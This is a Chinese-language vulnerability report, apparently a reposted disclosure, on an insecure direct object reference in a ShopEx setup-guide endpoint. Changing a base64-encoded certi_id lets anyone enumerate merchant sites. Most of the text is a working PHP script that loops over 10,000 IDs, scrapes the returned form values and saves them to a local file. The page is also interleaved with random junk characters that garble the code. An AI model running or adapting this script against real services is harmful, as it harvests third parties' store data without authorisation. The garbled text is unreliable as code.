|
|
简要描述:( V" {* C( K, g& U
ShopEx某接口缺陷,可遍历所有网站$ @( x5 I s( j0 a g5 z* `
详细说明:
( E2 y0 F- ?$ L9 K# R; J问题出现在shopex 网店使用向导页面
( n7 M7 J0 o8 H/ h# h- p6 U# N, ?- n7 J5 B/ T2 a* V3 ?
- D; L1 t, R' S; ]# U
" e3 t: F9 ^" f4 g* khttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
8 Z- x( K T ^, E
4 |% | A" f+ ^8 F5 z5 T7 i6 y. D; W T6 W
4 U7 k6 ~' V0 O9 Grefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
1 X2 \) Z/ V, e. l" l/ i2 I$ A% `5 [+ D8 N
! h. U7 `% d1 b4 R
2 Q# [- f! ?+ r/ \& K5 Y' ]
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
2 k- ?" s6 M0 @! x0 F; h2 U! ] `; k
) t! W* |8 A2 L( @, }& {( Z7 o" O7 }3 w5 U) R+ i) e
<?php( g8 A5 C; k ~+ H7 e2 _$ z$ C
8 o; a' a' [# x for ($i=1; $i < 10000; $i++) { //遍历7 \- q2 k0 \: p2 o* s0 U
4 k# V, l. V+ {# M1 `
ShowshopExD($i);
; i/ M4 @' C( P0 Z
: S* g4 e A) M) U- p }
3 f) y t; `; P' J1 J/ l
1 m& W6 K+ x1 d function ShowshopExD($cid) {$ B! P/ K6 W5 N1 l* q/ _8 \
& {. m- j8 I: X# W! W
$url='http://guide.ecos.shopex.cn/step2.php';
8 A0 J0 h( a! h
" ~7 R& j3 W7 m( f7 Q( ` $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');0 i& _1 g6 ^& v$ _: h
( U5 {- l! C- g( r* O |# ?9 j $url = $url.'?refer='.$refer;
( {7 J2 {/ q3 F6 N+ U
9 v: \, T3 Q8 j; O! J2 Y $ch = curl_init($url);
; E0 w- b o- Z `4 \0 x( f. t% Q& T" f1 s
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;: z/ V2 |% o7 M% q5 b+ R
3 X8 ]% g( H, L1 R' u1 N6 Y* `" l
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;& e$ y& R5 G$ b& g; Y$ Q
& {( v+ E6 u# |0 J7 v0 h( G1 y% m
$result = curl_exec($ch);( x3 Y" L \1 w/ m3 n6 |" f2 t+ c
4 Q5 ]6 K- x: j% s" o9 V" g
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
2 s4 `1 W7 W8 B- }9 q5 H0 |+ s' }% A1 A; B1 L/ Y
if(strpos($result,$refer))
6 m- Q3 ]. z0 r9 i B5 ~
. E* v" l* l: n3 K; H { M3 e b6 k: W- P# I. W! T
% n3 ^' {# ]: ^4 | $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
W7 n' n1 f$ G" G4 D, A# w, n* C# ~! k" k2 h: q
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);, N1 P' V- d. i% v: C
; q/ e1 e6 O1 E( W3 A foreach ($value[1] as $key) {' o& @+ k5 l! ~
5 P9 w D* W% s; H6 N preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
. u+ C# `5 _7 A2 V( p
3 M" \) v$ a- } echo $res[1][0].':'.$res[3][0]."\r\n";$ i( c* [1 b+ ?$ c; Y
9 `2 U9 ], \5 ], k2 |
$col =$res[1][0].':'.$res[3][0]."\r\n"; ; T8 B4 e% H( z5 K$ [0 _4 c* [
! i/ z7 S5 k4 b( R f9 o4 p, B
fwrite($fp, $col, strlen($col));
" m1 y5 o9 s. Q( X9 m; L0 H: V: W' |0 Z+ d5 Z v, C
}
: A% ~ F8 f* d5 A' f* y5 l0 V! C$ i* D/ O" j/ L" P
echo '--------------------------------'."\r\n";
/ R1 e' b5 g9 y: o0 R3 u% Q3 W0 H; V4 K' U6 R' l
fclose($fp); ) E$ z8 a8 M! i% _
+ p7 |- n, s m2 X+ c# F2 l
}
" p: r; }9 [" W0 d, l- b8 {/ }; j. g6 N) y* {9 i
flush();
( z/ P$ s1 d4 h& B- O# ?/ J+ w( _/ @# I, |: a3 m2 b
curl_close($ch);& r6 P3 h) c* U4 a% X0 i4 [
, w5 F; Q9 [# u: y2 J0 v/ X v# ^- _' c }# h' e( z% `9 t
+ i0 Q- E% o7 Y/ m
?>0 a% ~, H/ G' {1 D
漏洞证明:
9 G8 U! q4 b6 Rhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
+ t2 Z0 J' R( }- d: |; {refer换成其他加密方式9 D( X6 d% @0 c! z
|
|